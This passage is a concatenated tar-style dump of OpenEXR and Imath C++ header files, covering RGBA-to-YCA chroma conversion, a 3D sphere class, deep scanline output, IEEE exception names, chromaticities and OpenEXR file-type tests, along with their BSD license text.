permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS // IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, // THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // ////////////////////////////////////////////////////////////////////////////// //----------------------------------------------------------------------------- // // Conversion between RGBA (red, green, blue alpha) // and YCA (luminance, subsampled chroma, alpha) data: // // Luminance, Y, is computed as a weighted sum of R, G, and B: // // Y = yw.x * R + yw.y * G + yw.z * B // // Function computeYw() computes a set of RGB-to-Y weights, yw, // from a set of primary and white point chromaticities. // // Chroma, C, consists of two components, RY and BY: // // RY = (R - Y) / Y // BY = (B - Y) / Y // // For efficiency, the x and y subsampling rates for chroma are // hardwired to 2, and the chroma subsampling and reconstruction // filters are fixed 27-pixel wide windowed sinc functions. // // Starting with an image that has RGBA data for all pixels, // // RGBA RGBA RGBA RGBA ... RGBA RGBA // RGBA RGBA RGBA RGBA ... RGBA RGBA // RGBA RGBA RGBA RGBA ... RGBA RGBA // RGBA RGBA RGBA RGBA ... RGBA RGBA // ... // RGBA RGBA RGBA RGBA ... RGBA RGBA // RGBA RGBA RGBA RGBA ... RGBA RGBA // // function RGBAtoYCA() converts the pixels to YCA format: // // YCA YCA YCA YCA ... YCA YCA // YCA YCA YCA YCA ... YCA YCA // YCA YCA YCA YCA ... YCA YCA // YCA YCA YCA YCA ... YCA YCA // ... // YCA YCA YCA YCA ... YCA YCA // YCA YCA YCA YCA ... YCA YCA // // Next, decimateChomaHoriz() eliminates the chroma values from // the odd-numbered pixels in every scan line: // // YCA YA YCA YA ... YCA YA // YCA YA YCA YA ... YCA YA // YCA YA YCA YA ... YCA YA // YCA YA YCA YA ... YCA YA // ... // YCA YA YCA YA ... YCA YA // YCA YA YCA YA ... YCA YA // // decimateChromaVert() eliminates all chroma values from the // odd-numbered scan lines: // // YCA YA YCA YA ... YCA YA // YA YA YA YA ... YA YA // YCA YA YCA YA ... YCA YA // YA YA YA YA ... YA YA // ... // YCA YA YCA YA ... YCA YA // YA YA YA YA ... YA YA // // Finally, roundYCA() reduces the precision of the luminance // and chroma values so that the pixel data shrink more when // they are saved in a compressed file. // // The output of roundYCA() can be converted back to a set // of RGBA pixel data that is visually very similar to the // original RGBA image, by calling reconstructChromaHoriz(), // reconstructChromaVert(), YCAtoRGBA(), and finally // fixSaturation(). // //----------------------------------------------------------------------------- #include "ImfRgba.h" #include "ImfChromaticities.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER namespace RgbaYca { // // Width of the chroma subsampling and reconstruction filters // static const int N = 27; static const int N2 = N / 2; // // Convert a set of primary chromaticities into a set of weighting // factors for computing a pixels's luminance, Y, from R, G and B // IMF_EXPORT IMATH_NAMESPACE::V3f computeYw (const Chromaticities &cr); // // Convert an array of n RGBA pixels, rgbaIn, to YCA (luminance/chroma/alpha): // // ycaOut[i].g = Y (rgbaIn[i]); // ycaOut[i].r = RY (rgbaIn[i]); // ycaOut[i].b = BY (rgbaIn[i]); // ycaOut[i].a = aIsValid? rgbaIn[i].a: 1 // // yw is a set of RGB-to-Y weighting factors, as computed by computeYw(). // IMF_EXPORT void RGBAtoYCA (const IMATH_NAMESPACE::V3f &yw, int n, bool aIsValid, const Rgba rgbaIn[/*n*/], Rgba ycaOut[/*n*/]); // // Perform horizontal low-pass filtering and subsampling of // the chroma channels of an array of n pixels. In order // to avoid indexing off the ends of the input array during // low-pass filtering, ycaIn must have N2 extra pixels at // both ends. Before calling decimateChromaHoriz(), the extra // pixels should be filled with copies of the first and last // "real" input pixel. // IMF_EXPORT void decimateChromaHoriz (int n, const Rgba ycaIn[/*n+N-1*/], Rgba ycaOut[/*n*/]); // // Perform vertical chroma channel low-pass filtering and subsampling. // N scan lines of input pixels are combined into a single scan line // of output pixels. // IMF_EXPORT void decimateChromaVert (int n, const Rgba * const ycaIn[N], Rgba ycaOut[/*n*/]); // // Round the luminance and chroma channels of an array of YCA // pixels that has already been filtered and subsampled. // The signifcands of the pixels' luminance and chroma values // are rounded to roundY and roundC bits respectively. // IMF_EXPORT void roundYCA (int n, unsigned int roundY, unsigned int roundC, const Rgba ycaIn[/*n*/], Rgba ycaOut[/*n*/]); // // For a scan line that has valid chroma data only for every other pixel, // reconstruct the missing chroma values. // IMF_EXPORT void reconstructChromaHoriz (int n, const Rgba ycaIn[/*n+N-1*/], Rgba ycaOut[/*n*/]); // // For a scan line that has only luminance and no valid chroma data, // reconstruct chroma from the surronding N scan lines. // IMF_EXPORT void reconstructChromaVert (int n, const Rgba * const ycaIn[N], Rgba ycaOut[/*n*/]); // // Convert an array of n YCA (luminance/chroma/alpha) pixels to RGBA. // This function is the inverse of RGBAtoYCA(). // yw is a set of RGB-to-Y weighting factors, as computed by computeYw(). // IMF_EXPORT void YCAtoRGBA (const IMATH_NAMESPACE::V3f &yw, int n, const Rgba ycaIn[/*n*/], Rgba rgbaOut[/*n*/]); // // Eliminate super-saturated pixels: // // Converting an image from RGBA to YCA, low-pass filtering chroma, // and converting the result back to RGBA can produce pixels with // super-saturated colors, where one or two of the RGB components // become zero or negative. (The low-pass and reconstruction filters // introduce some amount of ringing into the chroma components. // This can lead to negative RGB values near high-contrast edges.) // // The fixSaturation() function finds super-saturated pixels and // corrects them by desaturating their colors while maintaining // their luminance. fixSaturation() takes three adjacent input // scan lines, rgbaIn[0], rgbaIn[1], rgbaIn[2], adjusts the // saturation of rgbaIn[1], and stores the result in rgbaOut. // IMF_EXPORT void fixSaturation (const IMATH_NAMESPACE::V3f &yw, int n, const Rgba * const rgbaIn[3], Rgba rgbaOut[/*n*/]); } // namespace RgbaYca OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathSphere.h 0000644 00000011275 15246445047 0010427 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHSPHERE_H #define INCLUDED_IMATHSPHERE_H //------------------------------------- // // A 3D sphere class template // //------------------------------------- #include "ImathVec.h" #include "ImathBox.h" #include "ImathLine.h" #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> class Sphere3 { public: Vec3<T> center; T radius; //--------------- // Constructors //--------------- Sphere3() : center(0,0,0), radius(0) {} Sphere3(const Vec3<T> &c, T r) : center(c), radius(r) {} //------------------------------------------------------------------- // Utilities: // // s.circumscribe(b) sets center and radius of sphere s // so that the s tightly encloses box b. // // s.intersectT (l, t) If sphere s and line l intersect, then // intersectT() computes the smallest t, // t >= 0, so that l(t) is a point on the // sphere. intersectT() then returns true. // // If s and l do not intersect, intersectT() // returns false. // // s.intersect (l, i) If sphere s and line l intersect, then // intersect() calls s.intersectT(l,t) and // computes i = l(t). // // If s and l do not intersect, intersect() // returns false. // //------------------------------------------------------------------- void circumscribe(const Box<Vec3<T> > &box); bool intersect(const Line3<T> &l, Vec3<T> &intersection) const; bool intersectT(const Line3<T> &l, T &t) const; }; //-------------------- // Convenient typedefs //-------------------- typedef Sphere3<float> Sphere3f; typedef Sphere3<double> Sphere3d; //--------------- // Implementation //--------------- template <class T> void Sphere3<T>::circumscribe(const Box<Vec3<T> > &box) { center = T(0.5) * (box.min + box.max); radius = (box.max - center).length(); } template <class T> bool Sphere3<T>::intersectT(const Line3<T> &line, T &t) const { bool doesIntersect = true; Vec3<T> v = line.pos - center; T B = T(2.0) * (line.dir ^ v); T C = (v ^ v) - (radius * radius); // compute discriminant // if negative, there is no intersection T discr = B*B - T(4.0)*C; if (discr < 0.0) { // line and Sphere3 do not intersect doesIntersect = false; } else { // t0: (-B - sqrt(B^2 - 4AC)) / 2A (A = 1) T sqroot = Math<T>::sqrt(discr); t = (-B - sqroot) * T(0.5); if (t < 0.0) { // no intersection, try t1: (-B + sqrt(B^2 - 4AC)) / 2A (A = 1) t = (-B + sqroot) * T(0.5); } if (t < 0.0) doesIntersect = false; } return doesIntersect; } template <class T> bool Sphere3<T>::intersect(const Line3<T> &line, Vec3<T> &intersection) const { T t; if (intersectT (line, t)) { intersection = line(t); return true; } else { return false; } } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHSPHERE_H OpenEXR/ImfDeepScanLineOutputPart.h 0000644 00000014642 15246445047 0013215 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFDEEPSCANLINEOUTPUTPART_H_ #define IMFDEEPSCANLINEOUTPUTPART_H_ #include "ImfDeepScanLineOutputFile.h" #include "ImfMultiPartOutputFile.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT DeepScanLineOutputPart { public: DeepScanLineOutputPart(MultiPartOutputFile& multiPartFile, int partNumber); //------------------------ // Access to the file name //------------------------ const char * fileName () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; //------------------------------------------------------- // Set the current frame buffer -- copies the FrameBuffer // object into the OutputFile object. // // The current frame buffer is the source of the pixel // data written to the file. The current frame buffer // must be set at least once before writePixels() is // called. The current frame buffer can be changed // after each call to writePixels. //------------------------------------------------------- void setFrameBuffer (const DeepFrameBuffer &frameBuffer); //----------------------------------- // Access to the current frame buffer //----------------------------------- const DeepFrameBuffer & frameBuffer () const; //------------------------------------------------------------------- // Write pixel data: // // writePixels(n) retrieves the next n scan lines worth of data from // the current frame buffer, starting with the scan line indicated by // currentScanLine(), and stores the data in the output file, and // progressing in the direction indicated by header.lineOrder(). // // To produce a complete and correct file, exactly m scan lines must // be written, where m is equal to // header().dataWindow().max.y - header().dataWindow().min.y + 1. //------------------------------------------------------------------- void writePixels (int numScanLines = 1); //------------------------------------------------------------------ // Access to the current scan line: // // currentScanLine() returns the y coordinate of the first scan line // that will be read from the current frame buffer during the next // call to writePixels(). // // If header.lineOrder() == INCREASING_Y: // // The current scan line before the first call to writePixels() // is header().dataWindow().min.y. After writing each scan line, // the current scan line is incremented by 1. // // If header.lineOrder() == DECREASING_Y: // // The current scan line before the first call to writePixels() // is header().dataWindow().max.y. After writing each scan line, // the current scan line is decremented by 1. // //------------------------------------------------------------------ int currentScanLine () const; //-------------------------------------------------------------- // Shortcut to copy all pixels from an InputFile into this file, // without uncompressing and then recompressing the pixel data. // This file's header must be compatible with the InputFile's // header: The two header's "dataWindow", "compression", // "lineOrder" and "channels" attributes must be the same. //-------------------------------------------------------------- void copyPixels (DeepScanLineInputFile &in); void copyPixels (DeepScanLineInputPart &in); //-------------------------------------------------------------- // Updating the preview image: // // updatePreviewImage() supplies a new set of pixels for the // preview image attribute in the file's header. If the header // does not contain a preview image, updatePreviewImage() throws // an IEX_NAMESPACE::LogicExc. // // Note: updatePreviewImage() is necessary because images are // often stored in a file incrementally, a few scan lines at a // time, while the image is being generated. Since the preview // image is an attribute in the file's header, it gets stored in // the file as soon as the file is opened, but we may not know // what the preview image should look like until we have written // the last scan line of the main image. // //-------------------------------------------------------------- void updatePreviewImage (const PreviewRgba newPixels[]); private: DeepScanLineOutputFile* file; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* IMFDEEPSCANLINEOUTPUTPART_H_ */ OpenEXR/IexExport.h 0000644 00000004126 15246445047 0010142 0 ustar 00 #ifndef IEXEXPORT_H #define IEXEXPORT_H /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #if defined(OPENEXR_DLL) #if defined(IEX_EXPORTS) #define IEX_EXPORT __declspec(dllexport) #else #define IEX_EXPORT __declspec(dllimport) #endif #define IEX_EXPORT_CONST #else #define IEX_EXPORT #define IEX_EXPORT_CONST const #endif #endif // #ifndef IEXEXPORT_H OpenEXR/IexMathIeeeExc.h 0000644 00000004462 15246445047 0011005 0 ustar 00 #ifndef INCLUDED_IEXMATHIEEE_EXC_H #define INCLUDED_IEXMATHIEEE_EXC_H /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 1997, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// //--------------------------------------------------------------------------- // // Names for the loating point exceptions defined by IEEE standard 754 // //--------------------------------------------------------------------------- #include "IexNamespace.h" IEX_INTERNAL_NAMESPACE_HEADER_ENTER enum IeeeExcType { IEEE_OVERFLOW = 1, IEEE_UNDERFLOW = 2, IEEE_DIVZERO = 4, IEEE_INEXACT = 8, IEEE_INVALID = 16 }; IEX_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfCompressionAttribute.h 0000644 00000005325 15246445047 0013036 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_COMPRESSION_ATTRIBUTE_H #define INCLUDED_IMF_COMPRESSION_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class CompressionAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfCompression.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::Compression> CompressionAttribute; template <> const char *CompressionAttribute::staticTypeName (); template <> void CompressionAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> void CompressionAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfTestFile.h 0000644 00000007064 15246445047 0010372 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_TEST_FILE_H #define INCLUDED_IMF_TEST_FILE_H //----------------------------------------------------------------------------- // // Utility routines to test quickly if a given // file is an OpenEXR file, and whether the // file is scanline-based or tiled. // //----------------------------------------------------------------------------- #include "ImfForward.h" #include "ImfExport.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER IMF_EXPORT bool isOpenExrFile (const char fileName[]); IMF_EXPORT bool isOpenExrFile (const char fileName[], bool &isTiled); IMF_EXPORT bool isOpenExrFile (const char fileName[], bool &isTiled, bool &isDeep); IMF_EXPORT bool isOpenExrFile (const char fileName[], bool &isTiled, bool &isDeep, bool &isMultiPart); IMF_EXPORT bool isTiledOpenExrFile (const char fileName[]); IMF_EXPORT bool isDeepOpenExrFile (const char fileName[]); IMF_EXPORT bool isMultiPartOpenExrFile (const char fileName[]); IMF_EXPORT bool isOpenExrFile (IStream &is); IMF_EXPORT bool isOpenExrFile (IStream &is, bool &isTiled); IMF_EXPORT bool isOpenExrFile (IStream &is, bool &isTiled, bool &isDeep); IMF_EXPORT bool isOpenExrFile (IStream &is, bool &isTiled, bool &isDeep, bool &isMultiPart); IMF_EXPORT bool isTiledOpenExrFile (IStream &is); IMF_EXPORT bool isDeepOpenExrFile (IStream &is); IMF_EXPORT bool isMultiPartOpenExrFile (IStream &is); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfChromaticities.h 0000644 00000010712 15246445047 0011614 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2003, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_CHROMATICITIES_H #define INCLUDED_IMF_CHROMATICITIES_H //----------------------------------------------------------------------------- // // CIE (x,y) chromaticities, and conversions between // RGB tiples and CIE XYZ tristimulus values. // //----------------------------------------------------------------------------- #include "ImathVec.h" #include "ImathMatrix.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER struct IMF_EXPORT Chromaticities { //----------------------------------------------- // The CIE x and y coordinates of the RGB triples // (1,0,0), (0,1,0), (0,0,1) and (1,1,1). //----------------------------------------------- IMATH_NAMESPACE::V2f red; IMATH_NAMESPACE::V2f green; IMATH_NAMESPACE::V2f blue; IMATH_NAMESPACE::V2f white; //-------------------------------------------- // Default constructor produces chromaticities // according to Rec. ITU-R BT.709-3 //-------------------------------------------- Chromaticities (const IMATH_NAMESPACE::V2f &red = IMATH_NAMESPACE::V2f (0.6400f, 0.3300f), const IMATH_NAMESPACE::V2f &green = IMATH_NAMESPACE::V2f (0.3000f, 0.6000f), const IMATH_NAMESPACE::V2f &blue = IMATH_NAMESPACE::V2f (0.1500f, 0.0600f), const IMATH_NAMESPACE::V2f &white = IMATH_NAMESPACE::V2f (0.3127f, 0.3290f)); //--------- // Equality //--------- bool operator == (const Chromaticities &v) const; bool operator != (const Chromaticities &v) const; }; // // Conversions between RGB and CIE XYZ // // RGB to XYZ: // // Given a set of chromaticities, c, and the luminance, Y, of the RGB // triple (1,1,1), or "white", RGBtoXYZ(c,Y) computes a matrix, M, so // that multiplying an RGB value, v, with M produces an equivalent // XYZ value, w. (w == v * M) // // If we define that // // (Xr, Yr, Zr) == (1, 0, 0) * M // (Xg, Yg, Zg) == (0, 1, 0) * M // (Xb, Yb, Zb) == (0, 0, 1) * M // (Xw, Yw, Zw) == (1, 1, 1) * M, // // then the following statements are true: // // Xr / (Xr + Yr + Zr) == c.red.x // Yr / (Xr + Yr + Zr) == c.red.y // // Xg / (Xg + Yg + Zg) == c.red.x // Yg / (Xg + Yg + Zg) == c.red.y // // Xb / (Xb + Yb + Zb) == c.red.x // Yb / (Xb + Yb + Zb) == c.red.y // // Xw / (Xw + Yw + Zw) == c.red.x // Yw / (Xw + Yw + Zw) == c.red.y // // Yw == Y. // // XYZ to RGB: // // YYZtoRGB(c,Y) returns RGBtoXYZ(c,Y).inverse(). // IMF_EXPORT IMATH_NAMESPACE::M44f RGBtoXYZ (const Chromaticities chroma, float Y); IMF_EXPORT IMATH_NAMESPACE::M44f XYZtoRGB (const Chromaticities chroma, float Y); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfOutputFile.h 0000644 00000023242 15246445047 0010747 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: 